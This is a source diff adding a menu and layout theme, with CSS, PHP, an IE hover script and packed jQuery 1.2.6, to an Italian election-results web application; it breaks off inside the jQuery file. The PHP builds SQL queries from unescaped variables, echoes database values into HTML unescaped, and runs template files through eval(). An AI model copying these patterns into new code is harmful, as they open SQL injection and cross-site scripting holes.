+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	margin: 0;
+}
+hr {
+	color: #FFFFFF;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 10px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 10px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #660000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #EFEFEF;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 10px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px dotted #666699;
+		font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px dotted #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+.modulosmall {
+	font-size: 9px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border: 0px;
+	width: 100%;
+	margin: 0px;
+	padding: 2px;
+}
+.modulo-table {
+	font-size: 14px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border-top: 1px dotted #000033;
+	border-bottom: 1px dotted #000033;
+	width: 100%;
+}
+.modulo-titolo {
+	font-size: 12px;
+	font-weight: bold;
+	color: #336633;
+	text-decoration: none;
+	border-top: 1px dotted #000033;
+	margin-top: 10px;
+	margin-bottom: 0px;
+	margin-right: 0px;
+	margin-left: 0px;
+	padding: 0px;
+	background-color: #EFEFEF;
+	text-align: left;
+	width: 100%;
+}
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 10px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+}
+.table-central {
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-right-style: dotted;
+	border-left-style: dotted;
+	border-top-color: #CC3300;
+	border-right-color: #CC3300;
+	border-bottom-color: #CC3300;
+	border-left-color: #CC3300;
+	border-top-style: none;
+	border-bottom-style: none;
+	height: 100%;
+	width: 100%;
+	margin: 0px;
+	padding: 8px;
+}
+.table-info {
+	font-size: 10px;
+	padding-right: 4px;
+	padding-bottom: 2px;
+	padding-left: 2px;
+	padding-top: 4px;
+	margin: 2px 2px 4px;
+}
+.table-main-secondary {
+	background-position: center top;
+	border-top: none;
+	border-left: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-right: none;
+}
+.table-docs {
+	font-size: 9px;
+	padding: 1px;
+	color: #666666;
+	margin: 4px 4px 40px;
+	border-bottom: thin dotted #666666;
+}
+
+
+
+.tavola {
+	background-image: url(images/back.gif);
+	font-size: 10px;
+	border: none;
+	color: #330000;
+}
+	
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 8px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+
Index: /trunk/elezioni/trunk/admin/temi/facebook/index.php
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/index.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/index.php	(revision 44)
@@ -0,0 +1,134 @@
+<?php
+/*
+Gestione del tema
+==================
+Files:
+header.html = testata
+footer.html = piede
+bloccogen.html = blocco laterale generale
+bloccocons.html = blocco laterale consultazione
+bloccoref.html  = blocco laterale referendum
+
+*/
+
+// tema
+//$bgcolor="#b0b0b0";
+$nometema=$tema;
+
+function testata(){
+global $nometema,$file,$bgcolor,$sitename,$dbi,$prefix,$blocco,$lang;
+echo "<div id=\"container\" >";
+if ($file=="index") menu();
+
+
+
+
+
+
+echo "<table class=\"table-main\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
+//echo "<div class=\"sx"\>";
+if ($blocco=='1') echo "<td><div class=\"sx\">";
+//"<td  class=\"td-640\">";
+else echo "<td>";
+
+   
+
+}
+
+function piede(){
+global $nometema,$blocco,$lang;
+$tmpl_file = "temi/language/$lang/footer.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+if($blocco==1){
+         
+	blocco();
+	
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+}
+}
+
+
+function blocco(){
+
+global $name,$blocco,$bgcolor, $nometema,$id_comune,$tipo_cons,$id_cons_gen,$id_cons,$prefix,$dbi, $votog,$votol,$votoc,$circo,$genere,$lang,$op,$id_circ;
+
+//echo "</div></td><td valign=\"top\" class=\"td-149\"><div id=\"dx\">";
+echo "</div></td><td valign=\"top\" class=\"td-149\"><div class=\"sidebar\">";
+echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"noblocco\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" /></a>";
+
+
+
+// Blocco generale
+//if ($id_cons_gen){
+
+$tmpl_file = "temi/language/$lang/bloccogen.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+
+// Blocco consultazioni
+if ($genere>2){
+$tmpl_file = "temi/language/$lang/bloccocand.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+}else{
+if ($genere==0){
+//Blocco Referendum
+$tmpl_file = "temi/language/$lang/bloccoref.html";
+$thefile = implode("", file($tmpl_file));
+$thefile = addslashes($thefile);
+$thefile = "\$r_file=\"".$thefile."\";";
+eval($thefile);
+print $r_file;
+}
+}
+// Blocco link
+
+$result = mysql_query("select mid, title, preamble, content,editimage from ".$prefix."_ele_link where id_cons='$id_cons' order by mid ", $dbi);
+    if (mysql_num_rows($result) == 0) {
+	echo "</td></tr></table>";
+        echo "</div></td><td>";
+	//echo "</td><td valign=\"top\" width=\"640\" bgcolor=\"#ffffff\">";
+	return;
+    } else {
+	echo "<h5>"._LINK."</h5><p>";
+	while (list($mid, $title, $preamble,$content,  $editimage) = mysql_fetch_row($result)) {
+  		if ($title != "" && $content != "") {
+			$content = stripslashes($content);
+    			$content = substr($content,0,45);
+			echo "<b><a href=\"$preamble\">
+			$title</a></b><br />
+
+			$content<br/>";
+		}		     
+	}
+	//echo "</p>";
+   }	
+
+
+echo "</td></tr></table>";
+
+echo "</div></td>";
+
+echo "<td>";
+
+
+}
+
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu.php
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu.php	(revision 44)
@@ -0,0 +1,284 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+/************************
+Funzione Menu a cascata
+*************************/
+
+        
+        // definizione variabile per button 'ok' nei form per il noscript
+	$button="<br /><object><noscript><div><input name=\"vai\" type=\"image\" src=\"modules/Elezioni/images/ok2.jpg\" alt=\"ok\" title=\"ok\" /></div></noscript></object>";
+	
+	$sqlcomu="select descrizione,fascia from ".$prefix."_ele_comuni where id_comune=$id_comune";
+	$rescomu= mysql_query("$sqlcomu",$dbi);
+	list($descr_com,$fascia)=mysql_fetch_row($rescomu);
+        echo '<style type="text/css">
+		html,body{margin:0;padding:0}
+		body{background:#FFF;color:#333}
+		div#contiene{width:999px;margin:0 auto;background:  #3B5998;color:#fff}
+	    </style>      
+	    <link rel="stylesheet" type="text/css" href="temi/facebook/menu/menu-dd.css">
+	    <script type="text/javascript" src="temi/facebook/menu/jquery-1.2.6.pack.js"></script>
+	    <script type="text/javascript" src="temi/facebook/menu/jquery.hoverIntent.minified.js"></script>
+	    <script type="text/javascript" src="temi/facebook/menu/jquery-ddi2.js"></script>
+	    <div id="contiene">
+	    	
+		    
+		<ul id="nav"><li>
+		 <a href="http://www.eleonline.it"><span style="font-size:18px;font: Comics;"><strong>elebook</strong></span></a>
+		</li>
+		<li>
+		    <a href="index.php"><strong>Home</strong></a>
+		</li>';
+
+	
+       
+        // inizio tabella
+	
+	
+	/*********************************** 
+		Scelta Comune
+	***********************************/
+	
+	if ($multicomune=='1')
+	{
+	      $sqlcomu="select t1.id_comune,t1.descrizione,count(0) from ".$prefix."_ele_comuni as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_comune=t2.id_comune group by t1.id_comune,t1.descrizione order by t1.descrizione asc";
+	      $rescomu= mysql_query("$sqlcomu",$dbi);
+	      $esiste_multi=mysql_num_rows($rescomu);
+	      if ($esiste_multi>=1) {
+		    echo " <li>
+				<a href=\"#\"><strong>"._COMUNI."</strong></a>
+			  
+			  <ul>";
+			
+		      while (list($id,$descrizione,)=mysql_fetch_row($rescomu)){
+			    echo "<li><a href=\"modules.php?op=gruppo&amp;name=Elezioni&amp;id_comune=$id&amp;file=index\">$descrizione</a></li>";
+			}
+		      echo "</ul></li>";
+			   
+	      }		
+	} // fine scelta comune
+	
+	
+	
+	/*********************************** 
+		Scelta Consultazione
+	***********************************/
+       
+	$res = mysql_query("SELECT t1.id_cons_gen,t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' and t2.chiusa!='2' order by t1.data_fine desc" , $dbi); 
+	$esiste=mysql_num_rows($res);
+	//se esiste consultazione fa vedere i dati
+	if ($esiste>=1) {
+	echo " <li>
+	      <a href=\"#\"><strong>"._ELEZIONI."</strong></a>
+	    <ul>";
+	 
+	    while(list($id,$descrizione) = mysql_fetch_row($res)) {
+		echo "<li><a href=\"modules.php?op=gruppo&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;id_cons_gen=$id\">
+	      ".substr($descrizione,0,31)."</a></li>";
+     		
+	    }
+ 
+	   
+	echo "</ul></li>";
+
+
+
+
+
+	/*********************************** 
+		Scelta Info
+	***********************************/
+        //$temp = array('confronti'=>'','come'=>'','numeri'=>'','servizi'=>'','link'=>'','dati'=>'','affluenze_sez'=>'','votanti'=>'');
+
+       echo " <li><a href=\"#\"><strong>"._INFO."</strong></a>
+	    <ul>";
+	    echo "
+	    <li  class=\"sep\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=confronti\">"._CONFRONTI."</a><span></span></li>
+	    <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=come\">"._COME."</a></li>
+	    <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=numeri\">"._NUMERI."</a></li>
+	   <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=servizi\">"._SERVIZI."</a></li>
+	  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=link\">"._LINK."</a></li>
+	  <li  class=\"sep\"><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=dati\">"._DATI."</a><span></span></li>
+	  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=affluenze_sez\">"._AFFLUENZE."</a></li>
+	  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info=votanti\">"._VOTANTI."</a></li>
+
+";
+
+
+	  echo "</ul></li>";
+
+
+		/*********************************** 
+		Scelta Dati
+		***********************************/
+
+ 	$res = mysql_query("SELECT count(0) FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ", $dbi);
+	list($num_circ) = mysql_fetch_row($res);
+       	 echo " <li><a href=\"#\"><strong>"._RISULTATI."</strong></a>
+	    <ul>";
+	  if ($genere!=4) {
+	      echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=gruppo_circo\">".substr(_GRUPPO." "._PER." "._CIRCO,0,33)."</a></li>
+	      <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=gruppo_sezione\">".substr(_GRUPPO." "._PER." "._SEZIONI,0,33)."</a></li>";
+	  }
+
+	if (!$votol and $fascia>$limite){ // si vota per la lista
+			if ($genere>2) {
+				if (!$circo and $num_circ>1)
+				  echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=lista_circo\">".substr(_LISTA." "._PER." "._CIRCO,0,33)."</a></li>
+				  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=lista_sezione\">".substr(_LISTA." "._PER." "._SEZIONI,0,33)."</a></li>";
+
+			         
+			      }
+		    	  
+		}
+	  if ($genere>3 and !$votoc) {
+				if (!$votoc){
+			      		if(!$circo and $num_circ>1)
+					echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=candidato_circo\">".substr(_CONSI." "._PER." "._CIRCO,0,33)."</a></li>
+				  <li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=candidato_sezione\">".substr(_CONSI." "._PER." "._SEZIONI,0,33)."</a></li>";
+				
+			}
+      		}
+	if ($tipo_cons==3 and $hondt>=1) {
+		     echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=consiglieri\">"._CALCONS."</a></li>"; 			
+      		}		
+
+
+	  echo "</ul></li>";
+
+
+
+
+	/*********************************** 
+		Scelta Grafici
+	***********************************/
+
+      echo " <li><a href=\"#\"><strong>"._GRAFICI."</strong></a>
+	    <ul>";
+
+
+		echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=affluenze_graf\">"._AFFLUENZE."</a></li>"; 
+
+		echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_votanti\">"._VOTI."</a></li>"; 
+		if($genere!=4){
+		echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_gruppo\">"._GRUPPO."</a></li>"; 
+		}
+		if ($genere>2){
+			if (!$circo && !$votog)	{
+			    echo "<li><a href=\"modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op=graf_candidato\">"._CONSI."</a></li>"; 
+			}
+		}
+
+	 echo "</ul></li>";
+
+
+	} // fine verifica esistenza consultazione : variabile $esiste
+	  
+
+
+           ################ tema ##### 
+            if ($tema_on=="1"){
+		
+	   	
+           	include("temi/facebook/tema.php");		
+	   	
+	   }	
+//echo "</div>";
+echo " <li><a href=\"#\"><strong>"._OPTIONS."</strong></a>
+	    <ul>";
+
+language();
+
+flash();
+
+noblocco();
+echo "</ul></li>";
+echo "</div>";
+
+
+# linguaggio x demo
+
+function language(){
+global $lang,$name,$op,$file,$filelang,$id_comune,$op,$id_cons,$id_cons_gen;
+$filename=$filelang;
+// linguaggio
+
+$menulist='';
+// scelta linguaggio
+    	$langdir = dir("modules/Elezioni/language");
+    	while($func=$langdir->read()) {
+		if(substr($func, 0, 5) == "lang-") {
+	    	$menulist .= "$func ";
+		}
+    	}
+    	closedir($langdir->handle);
+    	$menulist = explode(" ", $menulist);
+    	sort($menulist);
+    	for ($i=0; $i < sizeof($menulist); $i++) {
+		if($menulist[$i]!="") {
+	    		$tl = preg_replace("/lang-/","",$menulist[$i]);
+	    		$tl = preg_replace("/.php/","",$tl);
+	    		$altlang = ucfirst($tl);
+                        
+			if ($lang==$tl) $bordo="class=\"bordo\"";else $bordo="class=\"nobordo\"";
+	    		echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;newl=$tl\"><img $bordo src=\"modules/Elezioni/images/$tl.gif\"  alt=\"$altlang\" title=\"$altlang\"  width=\"15\" /> "._LINGUA."  $tl</a></li>";
+		}
+    	}
+
+}
+
+
+
+
+
+
+########################### Blocchi
+# flash x demo
+function flash(){
+global $flash,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($flash=='1'){ 
+     echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashno.gif\" alt=\"NoFlash\" title=\"NoFlash\" width=\"15\"/> "._OFF." Flash</a></li>";
+
+}else{
+
+echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashyes.gif\" alt=\"YesFlash\" title=\"YesFlash\" width=\"15\" /> "._ON." Flash</a></li>";
+
+
+}
+
+}
+ 
+ 
+# blocco no
+function noblocco(){
+global $blocco,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($blocco=='1'){ 
+     	echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" width=\"15\"/> "._OFF." "._BLOCCO."</a></li>";
+
+}else{
+
+	echo "<li><a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/open.gif\" alt=\"YesBlocco\" title=\"YesBlocco\" width=\"15\" /> "._ON." "._BLOCCO."</a></li>";
+
+}
+
+}
+
+
+
+      		
+
+
+	
+?>
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/csshover.htc
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/csshover.htc	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/csshover.htc	(revision 44)
@@ -0,0 +1,120 @@
+<attach event="ondocumentready" handler="parseStylesheets" />
+<script>
+/**
+ *	Whatever:hover - V1.42.060206 - hover & active
+ *	------------------------------------------------------------
+ *	(c) 2005 - Peter Nederlof
+ *	Peterned - http://www.xs4all.nl/~peterned/
+ *	License  - http://creativecommons.org/licenses/LGPL/2.1/
+ *
+ *	Whatever:hover is free software; you can redistribute it and/or
+ *	modify it under the terms of the GNU Lesser General Public
+ *	License as published by the Free Software Foundation; either
+ *	version 2.1 of the License, or (at your option) any later version.
+ *
+ *	Whatever:hover is distributed in the hope that it will be useful,
+ *	but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ *	Lesser General Public License for more details.
+ *
+ *	Credits and thanks to:
+ *	Arnoud Berendsen, Martin Reurings, Robert Hanson
+ *
+ *	howto: body { behavior:url("csshover.htc"); }
+ *	------------------------------------------------------------
+ */
+
+var csshoverReg = /(^|\s)(([^a]([^ ]+)?)|(a([^#.][^ ]+)+)):(hover|active)/i,
+currentSheet, doc = window.document, hoverEvents = [], activators = {
+	onhover:{on:'onmouseover', off:'onmouseout'},
+	onactive:{on:'onmousedown', off:'onmouseup'}
+}
+
+function parseStylesheets() {
+	if(!/MSIE (5|6)/.test(navigator.userAgent)) return;
+	window.attachEvent('onunload', unhookHoverEvents);
+	var sheets = doc.styleSheets, l = sheets.length;
+	for(var i=0; i<l; i++) 
+		parseStylesheet(sheets[i]);
+}
+	function parseStylesheet(sheet) {
+		if(sheet.imports) {
+			try {
+				var imports = sheet.imports, l = imports.length;
+				for(var i=0; i<l; i++) parseStylesheet(sheet.imports[i]);
+			} catch(securityException){}
+		}
+
+		try {
+			var rules = (currentSheet = sheet).rules, l = rules.length;
+			for(var j=0; j<l; j++) parseCSSRule(rules[j]);
+		} catch(securityException){}
+	}
+
+	function parseCSSRule(rule) {
+		var select = rule.selectorText, style = rule.style.cssText;
+		if(!csshoverReg.test(select) || !style) return;
+
+		var pseudo = select.replace(/[^:]+:([a-z-]+).*/i, 'on$1');
+		var newSelect = select.replace(/(\.([a-z0-9_-]+):[a-z]+)|(:[a-z]+)/gi, '.$2' + pseudo);
+		var className = (/\.([a-z0-9_-]*on(hover|active))/i).exec(newSelect)[1];
+		var affected = select.replace(/:(hover|active).*$/, '');
+		var elements = getElementsBySelect(affected);
+		if(elements.length == 0) return;
+
+		currentSheet.addRule(newSelect, style);
+		for(var i=0; i<elements.length; i++)
+			new HoverElement(elements[i], className, activators[pseudo]);
+	}
+
+function HoverElement(node, className, events) {
+	if(!node.hovers) node.hovers = {};
+	if(node.hovers[className]) return;
+	node.hovers[className] = true;
+	hookHoverEvent(node, events.on, function() { node.className += ' ' + className; });
+	hookHoverEvent(node, events.off, function() { node.className = node.className.replace(new RegExp('\\s+'+className, 'g'),''); });
+}
+	function hookHoverEvent(node, type, handler) {
+		node.attachEvent(type, handler);
+		hoverEvents[hoverEvents.length] = { 
+			node:node, type:type, handler:handler 
+		};
+	}
+
+	function unhookHoverEvents() {
+		for(var e,i=0; i<hoverEvents.length; i++) {
+			e = hoverEvents[i]; 
+			e.node.detachEvent(e.type, e.handler);
+		}
+	}
+
+function getElementsBySelect(rule) {
+	var parts, nodes = [doc];
+	parts = rule.split(' ');
+	for(var i=0; i<parts.length; i++) {
+		nodes = getSelectedNodes(parts[i], nodes);
+	}	return nodes;
+}
+	function getSelectedNodes(select, elements) {
+		var result, node, nodes = [];
+		var identify = (/\#([a-z0-9_-]+)/i).exec(select);
+		if(identify) {
+			var element = doc.getElementById(identify[1]);
+			return element? [element]:nodes;
+		}
+		
+		var classname = (/\.([a-z0-9_-]+)/i).exec(select);
+		var tagName = select.replace(/(\.|\#|\:)[a-z0-9_-]+/i, '');
+		var classReg = classname? new RegExp('\\b' + classname[1] + '\\b'):false;
+		for(var i=0; i<elements.length; i++) {
+			result = tagName? elements[i].all.tags(tagName):elements[i].all; 
+			for(var j=0; j<result.length; j++) {
+				node = result[j];
+				if(classReg && !classReg.test(node.className)) continue;
+				nodes[nodes.length] = node;
+			}
+		}	
+		
+		return nodes;
+	}
+</script>
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/iefix-htc.css
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/iefix-htc.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/iefix-htc.css	(revision 44)
@@ -0,0 +1,1 @@
+body { behavior:url("csshover.htc")}
Index: /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-1.2.6.pack.js
===================================================================
--- /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-1.2.6.pack.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/temi/facebook/menu/jquery-1.2.6.pack.js	(revision 44)
@@ -0,0 +1,11 @@
+/*
+ * jQuery 1.2.6 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
+ * $Rev: 5685 $
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(H(){J w=1b.4M,3m$=1b.$;J D=1b.4M=1b.$=H(a,b){I 2B D.17.5j(a,b)};J u=/^[^<]*(<(.|\\s)+>)[^>]*$|^#(\\w+)$/,62=/^.[^:#\\[\\.]*$/,12;D.17=D.44={5j:H(d,b){d=d||S;G(d.16){7[0]=d;7.K=1;I 7}G(1j d=="23"){J c=u.2D(d);G(c&&(c[1]||!b)){G(c[1])d=D.4h([c[1]],b);N{J a=S.61(c[3]);G(a){G(a.2v!=c[3])I D().2q(d);I D(a)}d=[]}}N I D(b).2q(d)}N G(D.1D(d))I D(S)[D.17.27?"27":"43"](d);I 7.6Y(D.2d(d))},5w:"1.2.6",8G:H(){I 7.K},K:0,3p:H(a){I a==12?D.2d(7):7[a]},2I:H(b){J a=D(b);a.5n=7;I a},6Y:H(a){7.K=0;2p.44.1p.1w(7,a);I 7},P:H(a,b){I D.P(7,a,b)},5i:H(b){J a=-1;I D.2L(b&&b.5w?b[0]:b,7)},1K:H(c,a,b){J d=c;G(c.1q==56)G(a===12)I 7[0]&&D[b||"1K"](7[0],c);N{d={};d[c]=a}I 7.P(H(i){R(c 1n d)D.1K(b?7.V:7,c,D.1i(7,d[c],b,i,c))})},1g:H(b,a){G((b==\'2h\'||b==\'1Z\')&&3d(a)<0)a=12;I 7.1K(b,a,"2a")},1r:H(b){G(1j b!="49"&&b!=U)I 7.4E().3v((7[0]&&7[0].2z||S).5F(b));J a="";D.P(b||7,H(){D.P(7.3t,H(){G(7.16!=8)a+=7.16!=1?7.76:D.17.1r([7])})});I a},5z:H(b){G(7[0])D(b,7[0].2z).5y().39(7[0]).2l(H(){J a=7;1B(a.1x)a=a.1x;I a}).3v(7);I 7},8Y:H(a){I 7.P(H(){D(7).6Q().5z(a)})},8R:H(a){I 7.P(H(){D(7).5z(a)})},3v:H(){I 7.3W(19,M,Q,H(a){G(7.16==1)7.3U(a)})},6F:H(){I 7.3W(19,M,M,H(a){G(7.16==1)7.39(a,7.1x)})},6E:H(){I 7.3W(19,Q,Q,H(a){7.1d.39(a,7)})},5q:H(){I 7.3W(19,Q,M,H(a){7.1d.39(a,7.2H)})},3l:H(){I 7.5n||D([])},2q:H(b){J c=D.2l(7,H(a){I D.2q(b,a)});I 7.2I(/[^+>] [^+>]/.11(b)||b.1h("..")>-1?D.4r(c):c)},5y:H(e){J f=7.2l(H(){G(D.14.1f&&!D.4n(7)){J a=7.6o(M),5h=S.3h("1v");5h.3U(a);I D.4h([5h.4H])[0]}N I 7.6o(M)});J d=f.2q("*").5c().P(H(){G(7[E]!=12)7[E]=U});G(e===M)7.2q("*").5c().P(H(i){G(7.16==3)I;J c=D.L(7,"3w");R(J a 1n c)R(J b 1n c[a])D.W.1e(d[i],a,c[a][b],c[a][b].L)});I f},1E:H(b){I 7.2I(D.1D(b)&&D.3C(7,H(a,i){I b.1k(a,i)})||D.3g(b,7))},4Y:H(b){G(b.1q==56)G(62.11(b))I 7.2I(D.3g(b,7,M));N b=D.3g(b,7);J a=b.K&&b[b.K-1]!==12&&!b.16;I 7.1E(H(){I 